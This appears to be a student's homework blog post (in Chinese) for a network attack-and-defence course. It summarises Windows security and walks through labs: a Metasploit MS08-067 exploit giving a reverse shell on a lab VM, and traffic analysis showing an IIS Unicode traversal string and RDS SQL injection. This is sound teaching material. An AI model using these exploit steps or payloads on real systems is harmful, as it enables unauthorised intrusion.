20199309 2019-2020-2 《网络攻防实践》第七周作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612
我在这个课程的目标是
这个作业在哪个具体方面帮助我实现目标 熟悉了解Windows系统攻击技术
作业正文 1.知识点梳理、2.实验内容、3.学习感悟、思考等
其他参考文献 见正文最后部分

1.知识点梳理与总结

1.1 Windows操作系统的基本结构
Windows操作系统内核的基本模块包括如下:

  • Windows执行体:即Windows内核核心文件ntoskml.exe的上层接口,包含基本依操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务。
  • Windows内核体:即Windows内核核心文件ntoskml.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制等,同时也提供了一组内核例程与基本对象,以帮助执行体来实现高层次的功能服务。
  • 设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备駆动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行。
  • 硬件抽象层:即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码。
  • Windows窗口与图形界面接口内核实现代码:即win32k.sys文件。

Windows操作系统在用户态的代码模块则包括如下:

  • 系统支持进程:Windows开机自动启动的系统内建服务进程,如负责登录用户身份认证的logon进程、会话管理进程等。
  • 环境子系统服务进程:为操作系统运行环境提供支持的服务进程,Windows
    XP只支持Windows环境子系统,而符合POSIX标准的环境子系统则作为UNIX产品的免费服务所提供。
  • 服务进程:通过Windows的服务管理机制所启动的一系列系统及网络服务,如Task
    Scheduler任务管理器服务,Microsoft SQL Server网络服务等。
  • 用户应用款件:在用户态执行的各类用户应用软件。
    -核心子系统 DLL:即
    kemel32.dll/user32.dlVgdi32.dll/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。

1.2 Windows安全体系结构

  • Winlogon进程与LSASS中的Netlogon分别负责Windows本地和远程登录用户的身份认证,利用LSASS所提供的身份验证服务,来确定安全主体身份的真实性。
  • 内核中的安全引用监控器作为Windows资源宝库的看门人,根据LSASS服务配置的安全访问控制策略,负责对所有安全主体访问Windows资源对象的授权坊问控制。
  • 安全引用监控器根据LSASS服务配置的安全审计策略,对访问过程中关注的事件进行记录,并由EventLog生成系统审计日志。

1.3 Windows 远程安全攻防技术
目前Windows远程攻击技术可以分为以下几大类:

  • 远程口令猜测与破解攻击:远程渗透攻击Windows系统最简单的方法仍然是猜测或破解出系统的登录口令,从Windows操作系统诞生以来一直存在的口令暴力破解、基于字典的猜测以及中间人身份认证欺骗攻击技术,仍对现在的Windows网络构成现实的威胁。
  • 攻击Windows网络服务&无论Windows自身独有的SMB、MSRPC、NETBIOS等网络服务,还是IIS、MS
    SQL等各种互联网服务在Windows系统上的具体服务实例,都不可避免地存在着可导致远程代码执行的高危性安全漏洞,攻击者也一直在利用这些漏洞来对Windows网络服务实施远程渗透攻击,从而得到Windows系统的访问权。
  • 攻击Windows客户墙及用户:最近几年来在微软公司Windows
    XP/Vista/Windows 7等操作系统的开发过程中,都应用了
    SDL安全软件开发生命周期,从而有效地提升了Windows系统及本身服务的安全性,同时引入了
    DEP数据执行保护、ASLR地址空间布局随机化机制、UAC用户账户控制等安全特性,这都使得攻击者越来越难以利用传统的攻击渠道来远程攻陷Windows系统。

1.4 windows本地安全攻防

windows本地提权

  • 在攻击者获得了widows的一定的权限之后,他们会尝试获得最高的权限。本地提权攻击都是利用系统的各种漏洞,所以针对本地提权攻击,最好的办法就是即使打好各种补

Windows敏感信息窃取

  • Windows系统口令字密文提取:在攻入windows之后,攻击者就有可能获得关键信息的密文文件。
  • windows系统口令字破解:在获得密文文件之后,自然就是要对密文进行解密。

windows消灭踪迹

  • 在攻击者获取了权限,或者获得了想要的信息之后,他们会想办法擦干净脚印,让用户不知道自己已经被攻破。
  • 关闭审计功能:Windows resource
    kit工具包里的auditpol程序可以让攻击者关闭审计功能。在攻击完成之后,又会重新打开审计功能。
  • 清理日志:如果攻击过程已经被日志记录下来,那么攻击者就会对日志里的有关自己入侵的信息清理掉。
  • 防范措施:将日志记录到不可擦写的CDROM中,或者通过网络传输出去。

windows远程控制与后门程序

  • 在攻击者完成了攻击之后,他们为了方便下一次的攻击,会在系统中植入远程控制和后门程序。
  • 防范措施:用一些检测软件来发现后门程序。

2 实践过程

前置准备

本次实验用到了下面的虚拟机

第一个和第三个实践要确保kali和win2k可以正常互相ping通,网络模式都调为NAT,win2k之前手动设置的ip地址记得调成自动,dns也设置为自动。第二个实践要用老师上传到云班课的demo_NT_attack_data.zip作为分析文件。

实践一


1: 在kali打开metasploit,输入msfconsole,回车后就会进入到他的控制台界面,然后先搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。

search ms08_067    //search+漏洞名字
use exploit/windows/smb/ms08_067_netapi

2: 选择攻击负载模块,可以通过输入show payloads,然后找到你要用的攻击负载模块,我选了3,反转tcp,注意,这一步一定要先show完payload,出现列表后在输入下面的命令,或者直接输入那个路径也行。我觉得数字比较方便

set PAYLOAD 3


3: 然后show options,查看需要配置的参数,主要是配置ip地址。按照靶机RHOST,攻击机LHOST的原则配置就行,代码格式如下:

set RHOST IP
set LHOST IP



4: 设置目标操作系统平台类型,这个选择0就行,0代表自动识别

set TARGET 0

5: 输入exploit开始攻击。攻击结果如下图

6: 攻击成功后,敲下回车,发现进入了靶机的cmd页面上,那我们就输入以下ipconfig查看一下靶机ip,这样就验证了我们的攻击是成功的。

实践二

1: 首先用wireshark打开那个.log文件。就会看到一大堆报文。大致扫一下,发现有很多http报文。这时候,不要方,先使用wireshark自带的统计工具,看看这么多的报文能浓缩成一些什么东西。点击统计->http->请求。就会得到下图。我们知道,访问网页的时候,会从网页服务器下载很多文件到本地,从这个统计图可以看到。那个突出的一部分应该就是这次的攻击代码了。不过他这个统计图的缺点是不按时间顺序。而其他的都是一些gif图片。

2: 接下来就需要一步一步分析了。设置限定条件为:ip.addr==172.16.1.106 and http。然后就开始看。前边的都大同小异。没有特别突出的。到了编号为117的这一行,如下图。我们发现了如下一段。

/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini 

这个boot.ini像是一个配置文件。查阅有关资料,我们得知这是NT系统的启动文件。而前面的..%c0af..啥的像是个路径。查阅资料后得知,这是"/"的Unicode编码。这是个IIS4和5存在的一个漏洞把。

3: 再往下看,我们可以看到攻击者试图向服务器获取一个msadcs.dll文件。确定他存在后,就开始干坏事了。

4: 攻击者利用这个dll存在RDS漏洞,输入了个数据查询语句进行SQL注入攻击。根据ADM!ROX..以及那个mdb。我们可以通过谷歌查询到它是通过rain
forest puppy编写的msadc(2).pl渗透攻击代码发起的。

5: 然后攻击者就成功进入了系统。往下拉,可以看到到下图所示位置,发生了变化。攻击者建立了一个ftp连接。输入了用户名密码,成没成功我暂时还看不出。然后就是下载了几个文件。


6: 然后攻击者连接6969端口,获得了访问权限

7: 从1369编号开始,攻击机发起了多次SQL注入攻击,我们发现数据部分不太一样。什么pdump.exe
yay.txt。这些文件暂时看不懂。

8: 然后在编号2339追踪http流,我们可以看到,根据add,他应该是想提升权限。

9: 攻击者应该警觉到了这是个蜜罐。还写了一串英文表示他看透了这是个蜜罐,不过我还没找到这条命令。先这样吧。

防止这种攻击应该及时打补丁。保持系统更新吧。

实践三

1: 攻击步骤跟实践1是一样的,攻击的漏洞依然是ms08_067漏洞,这里不在赘述了。我们要做的就是在攻击机输入exploit之后,敲回车之前,wireshark实时监听经过网卡的数据包。由于靶机没有wireshark,所以我选择用kali上的wireshark监听。效果一样的。
从下图可以看出攻击者ip地址,端口,靶机ip地址,端口,时间等信息。

2: 上图中前三个包是tcp三次握手包,建立连接后,从下图中我们发现攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC
over
SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出,是利用这个漏洞攻击的


3: 然后这时候我们在攻击机输入个ipconfig命令

4: 打开wireshark,查看刚刚捕获到的包,我们可以从发的包的数据部分得到我们刚刚输入的指令,如下图。


至此,这个实验就结束了。

3.学习中遇到的问题及解决

  • 问题1:使用wireshark抓包时,选择网卡为any,抓不到数据包
  • 问题1解决方案:选择网卡为eth0,就能抓到了

4.实践总结

Windows虽然已经发展了很多年,但是攻防并没有结束,黑客和骇客之间的斗争不会停息。

参考资料

原文地址:https://www.cnblogs.com/fungi/p/12708486.html